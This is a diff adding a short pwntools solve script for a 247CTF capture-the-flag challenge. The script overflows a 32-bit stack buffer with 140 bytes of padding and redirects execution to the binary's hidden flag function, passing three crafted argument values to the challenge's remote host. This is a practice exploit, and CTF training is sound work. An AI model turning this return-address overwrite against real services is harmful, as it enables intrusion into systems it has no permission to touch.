solve script

247ctf/hidden_flag_function_parameters/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./hidden_flag_function_with_args", checksec=False)
+# r = process()
+r = remote("f3396cb78c7c71ca.247ctf.com", 50257)
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*140
+buf += p32(target.sym.flag)
+buf += p32(0)
+buf += p32(0x1337)
+buf += p32(0x247)
+buf += p32(0x12345678)
+s(buf)
+
+r.interactive()